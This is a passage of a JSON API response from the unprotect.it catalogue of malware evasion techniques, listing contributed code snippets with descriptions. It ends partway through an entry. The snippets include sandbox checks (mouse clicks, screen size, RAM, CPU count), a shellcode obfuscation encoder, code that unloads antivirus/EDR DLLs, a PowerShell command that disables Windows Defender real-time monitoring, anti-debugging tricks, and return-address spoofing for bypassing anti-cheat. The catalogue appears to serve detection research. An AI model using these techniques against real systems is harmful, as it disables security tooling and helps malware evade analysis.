HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept
{
"count": 237,
"next": "https://unprotect.it/api/snippets/?format=api&page=3",
"previous": "https://unprotect.it/api/snippets/?format=api",
"results": [
{
"id": 191,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/348/?format=api",
"description": "The provided code is designed to differentiate between a sandbox environment and a genuine user workspace by monitoring user clicks and idle time. It achieves this by incrementing a click count variable upon detecting a left or right click, and comparing the elapsed idle time to a predefined maximum threshold. If the total number of clicks is below a specified minimum or the idle time surpasses the maximum limit, the code identifies the environment as a sandbox. Otherwise, it recognizes the presence of a legitimate user.",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"syscall\"\r\n\t\"time\"\r\n)\r\n\r\nvar (\r\n\tuser32 = syscall.NewLazyDLL(\"user32.dll\")\r\n\tgetAsyncKeyState = user32.NewProc(\"GetAsyncKeyState\")\r\n)\r\n\r\nfunc evadeClicksCount() {\r\n\t// Increment variable when a click is detected\r\n\tvar clickCount int\r\n\t// Set the minimal number of clicks to be detected\r\n\tvar minimalClickCount = 10\r\n\t// Set the maximum idle time in seconds\r\n\tvar maxIdleTime = 120\r\n\tvar t time.Time = time.Now()\r\n\r\n\tfor clickCount <= minimalClickCount {\r\n\t\tleftClick, _, _ := getAsyncKeyState.Call(uintptr(0x1))\r\n\t\trightClick, _, _ := getAsyncKeyState.Call(uintptr(0x2))\r\n\t\t// Check if a click is detected\r\n\t\tif leftClick%2 == 1 || rightClick%2 == 1 {\r\n\t\t\tclickCount += 1\r\n\t\t\tt = time.Now()\r\n\t\t}\r\n\r\n\t\tif int(time.Since(t).Seconds()) > maxIdleTime {\r\n\t\t\tfmt.Println(\"Sandbox Detected !\")\r\n\t\t}\r\n\t}\r\n\tfmt.Println(\"Legitimate user detected !\")\r\n}\r\n\r\nfunc main() {\r\n\tevadeClicksCount()\r\n}"
},
{
"id": 190,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/31/?format=api",
"description": "",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"fmt\"\r\n\t\"syscall\"\r\n\t\"time\"\r\n)\r\n\r\nvar (\r\n\tuser32 = syscall.NewLazyDLL(\"user32.dll\")\r\n\tprocGetSystemMetrics = user32.NewProc(\"GetSystemMetrics\")\r\n)\r\n\r\nfunc getScreenResolution() {\r\n\tindexX := uintptr(0)\r\n\tindexY := uintptr(1)\r\n\tx, _, _ := procGetSystemMetrics.Call(indexX)\r\n\ty, _, _ := procGetSystemMetrics.Call(indexY)\r\n\tfmt.Println(\"X = \", x, \" Y = \", y)\r\n\t// Modify the screen size as you want !\r\n\tif x < 1024 || y < 768 {\r\n\t\tfmt.Println(\"Sandbox Detected !\")\r\n\t}\r\n}\r\n\r\nfunc main() {\r\n\tgetScreenResolution()\r\n\ttime.Sleep(time.Second * 10)\r\n}\r\nFooter\r\n© 2023 GitHub,"
},
{
"id": 189,
"language": {
"id": 4,
"label": "Golang",
"code_class": "golang"
},
"user": {
"id": 26,
"username": "Edode",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/clisandro",
"twitter": "https://twitter.com/Edode_",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/33/?format=api",
"description": "",
"plain_code": "package main\r\n\r\nimport (\r\n\t\"unsafe\"\r\n\t\"syscall\"\r\n\t\"fmt\"\r\n)\r\n\r\nvar (\r\n\tkernel_32 = syscall.MustLoadDLL(\"kernel32.dll\")\r\n\tglobalMemoryStatusEx, _ = kernel_32.FindProc(\"GlobalMemoryStatusEx\")\r\n)\r\n\r\ntype memStatusEx struct {\r\n\tdwLength uint32\r\n\tdwMemoryLoad uint32\r\n\tullTotalPhys uint64\r\n\tunused [6]uint64\r\n}\r\n\r\nfunc evadeSystemMemory() () {\r\n\tmsx := &memStatusEx{dwLength: 64}\r\n\tr, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(msx)))\r\n\tif r == 0 {\r\n\t\tfmt.Println(\"Error getting memory status\")\r\n\t}\r\n\r\n\tvar maxMemory float64 = 2.0\r\n\tvar system_memory = float64(msx.ullTotalPhys/1024/1024) / 1024\r\n\r\n\tif system_memory <= maxMemory {\r\n\t\tfmt.Println(\"Sandbox detected\")\r\n\t} else {\r\n\t\tfmt.Println(\"Sandbox not detected\")\r\n\t}\r\n}\r\n\r\nfunc main() {\r\n\tevadeSystemMemory()\r\n}"
},
{
"id": 188,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 25,
"username": "Abhijeet Kumar",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/abhijeet-secops",
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/100/?format=api",
"description": "This script encodes a given plaintext shellcode using a combination of XOR, ADD, SUB, ROL, and ROR operations with a randomly generated key. The purpose of the encoding is to make the shellcode more difficult to detect and analyze.",
"plain_code": "#!/usr/bin/env python3\r\n# Original Source: https://github.com/wand3rlust/Niernen\r\n\r\nimport random\r\n\r\n#Encode shellcode using XOR, ADD, SUB, ROL, and ROR\r\ndef encode_shellcode(shellcode, key):\r\n encoded_shellcode = bytearray()\r\n for i, byte in enumerate(shellcode):\r\n #XOR\r\n xored_byte = byte ^ key[i % len(key)]\r\n #ADD\r\n added_byte = (xored_byte + key[(i + 1) % len(key)]) % 256\r\n #SUB\r\n subbed_byte = (added_byte - key[(i + 2) % len(key)]) % 256\r\n #ROL\r\n rolled_byte = ((subbed_byte << 1) | (subbed_byte >> 7)) % 256\r\n #ROR\r\n ror_byte = ((rolled_byte >> 1) | (rolled_byte << 7)) % 256\r\n encoded_shellcode.append(ror_byte)\r\n return bytes(encoded_shellcode)\r\n\r\n\r\n#Generate a random key of given length and convert it into bytes\r\ndef generate_key(length):\r\n return bytes([random.randint(0, 255) for i in range(length)])\r\n\r\n\r\nplaintext_shellcode = input(\"\\nEnter plaintext shellcode: \")\r\n#Encode the user unput into UTF-8 and change from string to byte\r\nshellcode = plaintext_shellcode.encode()\r\n#Generate same length key as shellcode hex\r\nkey = generate_key(len(shellcode))\r\n#Call encode_shellcode function with 2 arguments i.e, UTF-8 shellcode and key\r\nencoded_shellcode = encode_shellcode(shellcode, key)\r\nprint(\"\\nOriginal shellcode (in hex): \", shellcode.hex())\r\nprint(\"\\nKey (in hex): \", key.hex())\r\nprint(\"\\nEncoded shellcode (in hex): \", encoded_shellcode.hex())\r\n#Convert byte format to string\r\nencoded_shellcode = encoded_shellcode.hex()\r\n#Append \\x after every 2nd character\r\nencoded_shellcode = \"\\\\x\" + \"\\\\x\".join(encoded_shellcode[i:i + 2] for i in range(0, len(encoded_shellcode), 2))\r\nprint(\"\\nEncoded shellcode (with \\\\x): \", encoded_shellcode)\r\nprint(\"\\n\")"
},
{
"id": 187,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/33/?format=api",
"description": "This code uses the MEMORYSTATUSEX structure and the GlobalMemoryStatusEx function from the Windows API to retrieve information about the system's memory status, including the total physical memory and the available physical memory.",
"plain_code": "#include <windows.h>\r\n#include <iostream>\r\n\r\nint main() {\r\n MEMORYSTATUSEX memInfo;\r\n memInfo.dwLength = sizeof(MEMORYSTATUSEX);\r\n GlobalMemoryStatusEx(&memInfo);\r\n\r\n std::cout << \"Total physical memory: \" << memInfo.ullTotalPhys / 1024 / 1024 << \" MB\\n\";\r\n std::cout << \"Available physical memory: \" << memInfo.ullAvailPhys / 1024 / 1024 << \" MB\\n\";\r\n\r\n return 0;\r\n}"
},
{
"id": 186,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/36/?format=api",
"description": "This code uses the GetLogicalDrives function to retrieve a bitmask of all available drives on the system, and the GetDriveTypeA function to check if each drive is removable. If a removable drive is detected, the code prints its drive letter to the console.",
"plain_code": "#include <windows.h>\r\n\r\nint main() {\r\n UINT drives = GetLogicalDrives();\r\n for (int i = 0; i < 26; i++) {\r\n if ((drives & (1 << i)) && GetDriveTypeA((char)('A' + i) + \":\\\\\") == DRIVE_REMOVABLE) {\r\n printf(\"USB drive detected: %c:\\n\", 'A' + i);\r\n }\r\n }\r\n return 0;\r\n}"
},
{
"id": 185,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/37/?format=api",
"description": "This code uses the Windows API function `EnumPrinters` to enumerate the local printers installed on the system. If `EnumPrinters` is successful, the code prints the number of printers found and their names.",
"plain_code": "#include <windows.h>\r\n#include <winspool.h>\r\n\r\nint main() {\r\n DWORD numPrinters;\r\n PRINTER_INFO_2* printerInfo;\r\n if (EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, NULL, 0, &numPrinters, NULL)) {\r\n printerInfo = (PRINTER_INFO_2*) malloc(numPrinters * sizeof(PRINTER_INFO_2));\r\n if (EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 2, (LPBYTE) printerInfo, numPrinters * sizeof(PRINTER_INFO_2), &numPrinters, NULL)) {\r\n printf(\"Number of printers found: %d\\n\", numPrinters);\r\n // Print the names of the printers\r\n for (DWORD i = 0; i < numPrinters; i++) {\r\n printf(\"%s\\n\", printerInfo[i].pPrinterName);\r\n }\r\n }\r\n free(printerInfo);\r\n }\r\n return 0;\r\n}"
},
{
"id": 184,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 24,
"username": "West Wind",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/Praetorian_GRD",
"website": "https://subtlystoic.medium.com/",
"github": "https://github.com/west-wind"
},
"technique": "https://unprotect.it/api/techniques/341/?format=api",
"description": "This code demonstrates how the `GetModuleHandleA` and `FreeLibrary` functions can be used to unload a DLL from a process's memory. \r\n\r\n- `GetModuleHandleA` retrieves a handle to a module (such as a DLL) that is already loaded.\r\n- `FreeLibrary` frees a loaded DLL from the process's memory.\r\n\r\nThis technique can be used maliciously to unload security-related DLLs used by antivirus or EDR solutions. As such, it is important to use such code ethically and responsibly, within the bounds of the law and ethical considerations.",
"plain_code": "#include <windows.h>\r\n\r\nint main()\r\n{\r\n HMODULE hLibModule = GetModuleHandleA(\"av_edr_dllName.dll\");\r\n FreeLibrary(hLibModule);\r\n return 0;\r\n}"
},
{
"id": 183,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/101/?format=api",
"description": "This code snippet demonstrates a basic geofencing concept using Python. It checks if a target location (given by latitude and longitude coordinates) is within a specified radius (in kilometers) from a central point.",
"plain_code": "from geopy import Point\r\nfrom geopy.distance import great_circle\r\n\r\ndef is_within_geofence(target_lat, target_lon, center_lat, center_lon, radius_km):\r\n center_point = Point(center_lat, center_lon)\r\n target_point = Point(target_lat, target_lon)\r\n\r\n distance = great_circle(center_point, target_point).km\r\n\r\n return distance <= radius_km\r\n\r\n# Example usage\r\ntarget_latitude = 40.7128\r\ntarget_longitude = -74.0060\r\n\r\ncenter_latitude = 40.730610\r\ncenter_longitude = -73.935242\r\n\r\nradius = 5 # 5 km\r\n\r\nif is_within_geofence(target_latitude, target_longitude, center_latitude, center_longitude, radius):\r\n print(\"Target is within the geofence.\")\r\nelse:\r\n print(\"Target is outside the geofence.\")"
},
{
"id": 182,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 20,
"username": "Alex Schwarz",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/alex-schwarz",
"twitter": null,
"website": null,
"github": "https://github.com/AlSch092"
},
"technique": "https://unprotect.it/api/techniques/340/?format=api",
"description": "This code is an example of using the AddVectoredExceptionHandler function to register a top-level exception handler in a Windows program. The goal of this handler is to detect the presence of VEH (Vectored Exception Handler) debuggers, which can be used to step through code and inspect the program's memory.\r\n\r\nThe main function of the code calls the AddVectoredExceptionHandler function, which registers the TopLevelHandler function as the top-level exception handler. The first parameter to AddVectoredExceptionHandler is 1, which means that this handler will be the first one to be called.\r\n\r\nThe TopLevelHandler function takes an EXCEPTION_POINTERS pointer as its parameter, which contains information about the exception that was raised. If the exception code is EXCEPTION_SINGLE_STEP, this means that a VEH debugger has single-stepped through the code, and the CaughtVEHDebugger flag is set to true.\r\n\r\nFinally, the main function prints whether the VEH debugger was caught or not based on the value of the CaughtVEHDebugger flag. If the flag is true, this means that a VEH debugger was detected, and the program prints \"Caught VEH debugger: true\". If the flag is false, this means that no VEH debugger was detected, and the program prints \"Caught VEH debugger: false\".",
"plain_code": "//github: alsch092\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nbool CaughtVEHDebugger = false;\r\n\r\nLONG CALLBACK TopLevelHandler(EXCEPTION_POINTERS* info)\r\n{\r\n if (info->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) //Detects when a VEH debugger single-steps through code\r\n CaughtVEHDebugger = true;\r\n\r\n printf(\"Executed toplevelhandler, Exception: %X\\n\", info->ExceptionRecord->ExceptionCode); //print any other exceptions we encounter\r\n return EXCEPTION_CONTINUE_SEARCH;\r\n}\r\n\r\nint main()\r\n{\r\n AddVectoredExceptionHandler(1, TopLevelHandler);\r\n\r\n if (CaughtVEHDebugger)\r\n printf(\"Caught VEH debugger: %s\\n\", ((CaughtVEHDebugger > 0) ? \"true\" : \"false\"));\r\n\r\n return 0;\r\n}"
},
{
"id": 181,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 20,
"username": "Alex Schwarz",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/alex-schwarz",
"twitter": null,
"website": null,
"github": "https://github.com/AlSch092"
},
"technique": "https://unprotect.it/api/techniques/339/?format=api",
"description": "This code is implementing an anti-debugging technique that checks if a debugger is present in the environment. The TestDebugger() function generates a software interrupt (INT 3) using inline assembly code in x86 architecture.\r\n\r\nIf a debugger is present, it would intercept this interrupt, and the __except block will not execute, resulting in the TestDebugger() function returning false. On the other hand, if no debugger is present, the __except block will be executed, and the function will return true.\r\n\r\nThe main() function calls the TestDebugger() function and prints a message indicating whether a debugger was found or not. This code could be used as a security measure to protect against reverse engineering or malicious attacks by detecting if a debugger is present during runtime.",
"plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\nbool TestDebugger() \r\n{\r\n __try\r\n {\r\n __asm //x86 implementation\r\n {\r\n _emit 0xCD \r\n _emit 0x03 //INT 03\r\n _emit 0xC3 //RET\r\n }\r\n }\r\n __except (EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n return false;\r\n }\r\n\r\n return true;\r\n}\r\n\r\nint main()\r\n{\r\n if(TestDebugger())\r\n {\r\n printf(\"Found debugger!\\n\");\r\n }\r\n}"
},
{
"id": 180,
"language": {
"id": 8,
"label": "PowerShell",
"code_class": "powershell"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/47/?format=api",
"description": "This command sets the `DisableRealtimeMonitoring` parameter in the Windows Defender preferences to `true`, effectively disabling the real-time monitoring feature of Windows Defender.",
"plain_code": "Set-MpPreference -DisableRealtimeMonitoring $true"
},
{
"id": 179,
"language": {
"id": 6,
"label": "MASM",
"code_class": "x86asm"
},
"user": {
"id": 22,
"username": "__Thanat0s__",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/__thanat0s__",
"website": "http://thanat0s.trollprod.org/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/237/?format=api",
"description": "",
"plain_code": "; #########################################\r\n; Compare the variable Computername & Logonserver\r\n; if they are the same ( except the // ) you are \r\n; not logged to a domain controller\r\n\r\n_isdomain:\r\n push ebp\r\n mov ebp,esp\r\n push ebx\r\n\r\n jmp runit\r\n\r\n len_computername dd 13\r\n ;str_computername db \"COMPUTERNAME=\"\r\n ;str_computername db 78,66,64,93,88,89,72,95,67,76,64,72,48\r\n\r\n len_logonserver dd 14\r\n ;str_logonserver db \"LOGONSERVER=\\\\\"\r\n ;str_logonserver db 66,65,73,65,64,93,75,92,88,75,92,51,82,82\r\n\r\nrunit:\r\n call _getenvnoapi ; Retrieve location of env and size\r\n push eax\r\n push ecx\r\n\r\n ; Get computername\r\n invokel _findstr, eax, ecx, str_computername + 1, dword [len_computername]\r\n mov esi,eax\r\n pop ecx\r\n pop eax\r\n\r\n push esi\r\n\r\n ; Get LogonSvr\r\n invokel _findstr, eax, ecx, str_logonserver + 1, dword [len_logonserver]\r\n\r\n ; validate the loggon server..\r\n pop esi\r\n mov edi, eax\r\n mov eax,0\r\n test edi,edi ; On linux (vine) .. no computername, avoid crash\r\n jz _nodomain\r\n\r\n mov eax,edi\r\n call _strlenw\r\n mov ecx,eax\r\n rep cmpsb\r\n mov eax,0\r\n CMP ecx,0\r\n jz _nodomain ; if the computer is equal to the domain then .. no domain\r\n\r\n inc eax ; Eax = 1 ... domain logged\r\n_nodomain:\r\n\r\n pop ebx\r\n mov esp,ebp\r\n pop ebp\r\n ret\r\n\r\n\r\n; #########################################\r\n_getenvnoapi:\r\n ; Retrieve the memory offset of the environnement variables apiless.\r\n ; Out: Eax offset buffer\r\n ; Out: Ecx len buffer\r\n mov eax, [fs:0x30] ; Get PEB\r\n mov eax, [eax + 0x10] ; Get ProcessParameters\r\n mov esi, [eax + 0x48] ; Get Environment\r\n mov edx,esi\r\n.scan_end:\r\n lodsd ; Scan for next 0x0 X 4\r\n cmp eax,0\r\n jne .scan_end\r\n sub esi, edx\r\n mov ecx,esi\r\n mov eax,edx\r\n ret\r\n\r\n\r\n\r\n; #########################################\r\n_findstr:\r\n; Find a string\r\n; Return 0 in eax if not found\r\n; In stack [ebp+0x08] : Offset Buffer\r\n; In stack [ebp+0x0c] : Size Buffer\r\n; In stack [ebp+0x10] : Offset Pattern\r\n; In stack [ebp+0x14] : Size Pattern\r\n; Out eax : Offset of string END\r\n; Warning max 256 bytes... NO CHECK !\r\n\r\n push ebp\r\n mov ebp,esp\r\n sub esp, 512\r\n mov esi, dword [ebp + 0x10] ; Convert Ascii to Unicode\r\n lea edi, [ebp- 512] ; Env is in unicode in memory\r\n mov dword [ebp + 0x10], edi\r\n mov ecx, [ebp+0x14]\r\n mov edx,ecx\r\n\r\nstrtouni:\r\n lodsb\r\n xor al, [xor_key]\r\n stosb\r\n xor eax,eax\r\n stosb\r\n loop strtouni\r\n shl dword [ebp+0x14], 1 ; Update size * 2\r\n\r\n mov edx,dword [ebp+0x0c] ; Len of Buffer to Seek\r\n sub edx,dword [ebp+0x14] ; Len of string to Seek\r\n std\r\niter:\r\n mov esi, [ebp+0x08] ; Buffer to Seek\r\n add esi, edx ; Got to end - N\r\n mov edi, [ebp+0x10] ; Buffer to pattern\r\n mov ecx, dword [ebp+0x14] ; Size to compare\r\n\r\n dec ecx\r\n add esi, ecx ; Got to buffer + Size\r\n add edi, ecx ; Got to pattern + Size\r\n inc ecx\r\n\r\n repe cmpsb ; compare string...\r\n jcxz found ; If compare the same number we wins\r\n\r\n sub edx,2\r\n ; N = N - 1 ( x2 Since unicode )\r\n ; could be optimised for unicode... but....\r\n jnz iter ; Until N = 0\r\n\r\n mov eax,0\r\n jmp findstr_end\r\n\r\n\r\nfound:\r\n add esi,1 ; Pad x2 unicode...\r\n add esi, dword [ebp+0x14] ; Go to \"after\" the found string\r\n mov eax,esi\r\n\r\nfindstr_end:\r\n cld\r\n mov esp,ebp\r\n pop ebp\r\n retn 16 \r\n\r\n\r\n; #########################################\r\n; Get string len wide\r\n; eax, string, return eax, len\r\n\r\n_strlenw: ; eax: a string ending in 0\r\n push ebx\r\n push eax ; cache eax\r\n\r\n .strloopw:\r\n mov bx, word [eax]\r\n cmp bx, 0\r\n je .strretw ; return len if bl == 0\r\n inc eax ; inc eax ; else eax++\r\n\r\n jmp .strloopw\r\n\r\n.strretw:\r\n pop ebx ; ebx = cached eax\r\n sub eax, ebx ; eax -= ebx\r\n pop ebx\r\n inc eax\r\n ret ; eax = len\r\n\r\n\r\n_getenvnoapi:\r\n ; Out: Eax offset buffer\r\n ; Out: Ecx len buffer\r\n mov eax, [fs:0x30] ; Get PEB\r\n mov eax, [eax + 0x10] ; Get ProcessParameters\r\n mov esi, [eax + 0x48] ; Get Environment\r\n mov edx,esi\r\n.scan_end:\r\n lodsd ; Scan for next 0x0 X 4\r\n cmp eax,0\r\n jne .scan_end\r\n sub esi, edx\r\n mov ecx,esi\r\n mov eax,edx\r\n ret"
},
{
"id": 178,
"language": {
"id": 6,
"label": "MASM",
"code_class": "x86asm"
},
"user": {
"id": 22,
"username": "__Thanat0s__",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/__thanat0s__",
"website": "http://thanat0s.trollprod.org/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/236/?format=api",
"description": "This code snippet is written in assembly language and is used to detect the hyperthreading capacity and number of CPUs in a system.\r\n\r\nFor detecting hyperthreading capacity, the code sets EAX to 1 to access the leaf processor info and feature bits. It then calls CPUID instruction, shifts the 28th bit (which is the hyperthread bit on Intel processors), and clears other bits with an AND instruction. If the result in EDX is 0, it means that the system does not have hyperthreading capacity.\r\n\r\nFor detecting the number of CPUs, the code retrieves the Processor Environment Block (PEB) and gets the CPU count information stored at an offset. It then decrements the value and checks if it is not equal to zero. If it is not equal to zero, it means that there is more than one CPU in the system.",
"plain_code": "Detect hypertreading capacity through CPUID\r\n mov eax, 1 ; Set EAX to 1 in order to access to the leaf processor info and feature bits\r\n cpuid ; call cpuid\r\n shr edx,28 ; shift the bit 28 ( which is hypertread bit on intel )\r\n and edx,1 ; cleanup\r\n ; 0 in edx means no hyperthearding capacity.\r\n\r\nDetect unique cpu through PEB\r\n mov eax, [fs:0x30] ; Get PEB\r\n mov eax,[eax+0x64] ; Get Cpu Count\r\n dec eax\r\n jnz _isnot_pebuniq ; If eax = 0 , we have only one CPU\r\n ret"
},
{
"id": 177,
"language": {
"id": 6,
"label": "MASM",
"code_class": "x86asm"
},
"user": {
"id": 19,
"username": "External",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/235/?format=api",
"description": "Source: https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html",
"plain_code": "COMMENT ~\r\n PUBLIC _spoofer_stub\r\n \r\n .code\r\n \r\n _spoofer_stub PROC\r\n pop r11 ~ poping without setting up stack frame, r11 is the return address (the one in our code)\r\n add rsp, 8 ~ skipping callee reserved space\r\n mov rax, [rsp + 24] ~ dereference shell_param\r\n \r\n mov r10, [rax] ~ load shell_param.trampoline\r\n mov [rsp], r10 ~ store address of trampoline as return address\r\n \r\n mov r10, [rax + 8] ~ load shell_param.function\r\n mov [rax + 8], r11 ~ store the original return address in shell_param.function\r\n \r\n mov [rax + 16], rbx ~ preserve rbx in shell_param.rbx\r\n lea rbx, fixup\r\n mov [rax], rbx ~ store address of fixup label in shell_param.trampoline\r\n mov rbx, rax ~ preserve address of shell_param in rbx\r\n \r\n jmp r10 ~ call shell_param.function\r\n \r\n fixup:\r\n sub rsp, 16\r\n mov rcx, rbx ~ restore address of shell_param\r\n mov rbx, [rcx + 16] ~ restore rbx from shell_param.rbx\r\n jmp QWORD PTR [rcx + 8] ~ jmp to the original return address\r\n _spoofer_stub ENDP\r\n \r\n END"
},
{
"id": 176,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 19,
"username": "External",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/235/?format=api",
"description": "This code implements a templated function called spoof_call that takes three arguments: trampoline, fn, and args.... The function creates a struct shell_params that contains two void pointers: trampoline and function. The function then calls the do_call function of the struct argument_remapper, which will forward the arguments to a helper function shellcode_stub_helper that calls fn using the arguments. The number of arguments is limited to 4 or fewer or at least 5, depending on the size of Args. The spoof_call function is used to call fn via the trampoline pointer. The purpose of this code is not clear, but it appears to be related to calling functions in a specific manner.\r\n\r\nSource: https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html",
"plain_code": "#include <type_traits>\r\n \r\nnamespace detail\r\n{\r\n\textern \"C\" void* _spoofer_stub();\r\n \r\n\ttemplate <typename Ret, typename... Args>\r\n\tstatic inline auto shellcode_stub_helper(\r\n\t\tconst void* shell,\r\n\t\tArgs... args\r\n\t) -> Ret\r\n\t{\r\n\t\tauto fn = (Ret(*)(Args...))(shell);\r\n\t\treturn fn(args...);\r\n\t}\r\n \r\n\ttemplate <std::size_t Argc, typename>\r\n\tstruct argument_remapper\r\n\t{\r\n\t\t// At least 5 params\r\n\t\ttemplate<\r\n\t\t\ttypename Ret,\r\n\t\t\ttypename First,\r\n\t\t\ttypename Second,\r\n\t\t\ttypename Third,\r\n\t\t\ttypename Fourth,\r\n\t\t\ttypename... Pack\r\n\t\t>\r\n\t\tstatic auto do_call(\r\n\t\t\tconst void* shell,\r\n\t\t\tvoid* shell_param,\r\n\t\t\tFirst first,\r\n\t\t\tSecond second,\r\n\t\t\tThird third,\r\n\t\t\tFourth fourth,\r\n\t\t\tPack... pack\r\n\t\t) -> Ret\r\n\t\t{\r\n\t\t\treturn shellcode_stub_helper<\r\n\t\t\t\tRet,\r\n\t\t\t\tFirst,\r\n\t\t\t\tSecond,\r\n\t\t\t\tThird,\r\n\t\t\t\tFourth,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tPack...\r\n\t\t\t>(\r\n\t\t\t\tshell,\r\n\t\t\t\tfirst,\r\n\t\t\t\tsecond,\r\n\t\t\t\tthird,\r\n\t\t\t\tfourth,\r\n\t\t\t\tshell_param,\r\n\t\t\t\tnullptr,\r\n\t\t\t\tpack...\r\n\t\t\t);\r\n\t\t}\r\n\t};\r\n \r\n\ttemplate <std::size_t Argc>\r\n\tstruct argument_remapper<Argc, std::enable_if_t<Argc <= 4>>\r\n\t{\r\n\t\t// 4 or less params\r\n\t\ttemplate<\r\n\t\t\ttypename Ret,\r\n\t\t\ttypename First = void*,\r\n\t\t\ttypename Second = void*,\r\n\t\t\ttypename Third = void*,\r\n\t\t\ttypename Fourth = void*\r\n\t\t>\r\n\t\tstatic auto do_call(\r\n\t\t\tconst void* shell,\r\n\t\t\tvoid* shell_param,\r\n\t\t\tFirst first = First{},\r\n\t\t\tSecond second = Second{},\r\n\t\t\tThird third = Third{},\r\n\t\t\tFourth fourth = Fourth{}\r\n\t\t) -> Ret\r\n\t\t{\r\n\t\t\treturn shellcode_stub_helper<\r\n\t\t\t\tRet,\r\n\t\t\t\tFirst,\r\n\t\t\t\tSecond,\r\n\t\t\t\tThird,\r\n\t\t\t\tFourth,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tvoid*\r\n\t\t\t>(\r\n\t\t\t\tshell,\r\n\t\t\t\tfirst,\r\n\t\t\t\tsecond,\r\n\t\t\t\tthird,\r\n\t\t\t\tfourth,\r\n\t\t\t\tshell_param,\r\n\t\t\t\tnullptr\r\n\t\t\t);\r\n\t\t}\r\n\t};\r\n}\r\n \r\n \r\ntemplate <typename Ret, typename... Args>\r\nstatic inline auto spoof_call(\r\n\tconst void* trampoline,\r\n\tRet(*fn)(Args...),\r\n\tArgs... args\r\n) -> Ret\r\n{\r\n\tstruct shell_params\r\n\t{\r\n\t\tconst void* trampoline;\r\n\t\tvoid* function;\r\n\t\tvoid* rbx;\r\n\t};\r\n \r\n\tshell_params p{ trampoline, reinterpret_cast<void*>(fn) };\r\n\tusing mapper = detail::argument_remapper<sizeof...(Args), void>;\r\n\treturn mapper::template do_call<Ret, Args...>((const void*)&detail::_spoofer_stub, &p, args...);\r\n}"
},
{
"id": 175,
"language": {
"id": 5,
"label": "Assembly",
"code_class": "x86asm"
},
"user": {
"id": 22,
"username": "__Thanat0s__",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/__thanat0s__",
"website": "http://thanat0s.trollprod.org/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/21/?format=api",
